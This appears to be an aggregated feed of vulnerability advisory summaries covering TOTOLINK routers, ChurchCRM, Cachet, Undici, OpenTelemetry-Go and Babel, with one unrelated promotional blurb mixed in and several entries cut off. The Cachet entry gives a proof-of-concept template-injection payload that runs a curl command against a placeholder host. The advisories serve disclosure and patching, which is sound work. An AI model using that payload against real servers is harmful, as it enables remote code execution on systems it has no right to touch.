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TOTOLINK X5000R V9.1.0u.6118_B20201102 and TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the lang parameter in the function setLanguageCfg.

By Owais Sultan AI-powered Customer Communication Platforms will revolutionize customer interactions, streamlining support, and providing personalized, efficient service, ultimately enhancing customer… This is a post from HackRead.com Read the original post: 12 Best AI-powered Customer Communication Platforms for Contact Centers

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ChurchCRM version 4.5.4 suffers from a remote authenticated blind SQL injection vulnerability.

2023 Mount Carmel School version 6.4.1 suffers from a cross site scripting vulnerability.

When a collaboration is deleted in vantage6, the linked resources (such as tasks from that collaboration) are not properly deleted. This is partly to manage data properly, but also to prevent a potential (but unlikely) side-effect, where if a collaboration with id=10 is deleted, and subsequently a new collaboration is created with id=10, the authenticated users in that collaboration could potentially see results of the deleted collaboration in some cases, resulting in information disclosure.

### Summary A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel's` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution. This vulnerability does not exist within the [Twig](https://twig.symfony.com/) library itself, but exists during the process of the [Cachet](https://github.com/cachethq/cachet) processing of the data without any filtration. This has been patched in Cachet version 2.4. ### PoC 1. Log in as a default user (non-admin); 2. Create an incident with name `slug1` and with content: `{{ ['curl yourhost.com','']|sort('system') }}` or with any other ...

### Impact Undici clears Authorization headers on cross-origin redirects, but does not clear `Cookie` headers. By design, `cookie` headers are [forbidden request headers](https://fetch.spec.whatwg.org/#forbidden-request-header), disallowing them to be set in `RequestInit.headers` in browser environments. Since Undici handles headers more liberally than the specification, there was a disconnect from the assumptions the spec made, and Undici's implementation of fetch. As such this may lead to accidental leakage of cookie to a 3rd-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the 3rd party site. ### Patches This was patched in [e041de359221ebeae04c469e8aff4145764e6d76](https://github.com/nodejs/undici/commit/e041de359221ebeae04c469e8aff4145764e6d76), which is included in version 5.26.2.

### Summary OpenTelemetry-Go Contrib has a [handler wrapper `otelhttp`](https://github.com/open-telemetry/opentelemetry-go-contrib/blob/5f7e6ad5a49b45df45f61a1deb29d7f1158032df/instrumentation/net/http/otelhttp/handler.go#L63-L65) that adds the following labels by deafult that have unbound cardinality: - `http.user_agent` - `http.method` This leads to the server's potential memory exhaustion when many malicious requests are sent to it. ### Details HTTP header User-Agent or HTTP method for requests can be easily set by an attacker to be random and long. The library internally uses [httpconv.ServerRequest](https://github.com/open-telemetry/opentelemetry-go/blob/v1.12.0/semconv/internal/v2/http.go#L159) that records every value for HTTP [method](https://github.com/open-telemetry/opentelemetry-go/blob/38e1b499c3da3107694ad2660b3888eee9c8b896/semconv/internal/v2/http.go#L204) and [User-Agent](https://github.com/open-telemetry/opentelemetry-go/blob/38e1b499c3da3107694ad2660b3888eee9c8b8...

### Impact Using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the `path.evaluate()`or `path.evaluateTruthy()` internal Babel methods. Known affected plugins are: - `@babel/plugin-transform-runtime` - `@babel/preset-env` when using its [`useBuiltIns`](https://babeljs.io/docs/babel-preset-env#usebuiltins) option - Any "polyfill provider" plugin that depends on `@babel/helper-define-polyfill-provider`, such as `babel-plugin-polyfill-corejs3`, `babel-plugin-polyfill-corejs2`, `babel-plugin-polyfill-es-shims`, `babel-plugin-polyfill-regenerator` No other plugins under the `@babel/` namespace are impacted, but third-party plugins might be. **Users that only compile trusted code are not impacted.** ### Patches The vulnerability has been fixed in `@babel/[email protected]`. Babel 6 does not receive security fixes anymore (see [Babel's security policy](https://github.com/babel/bab...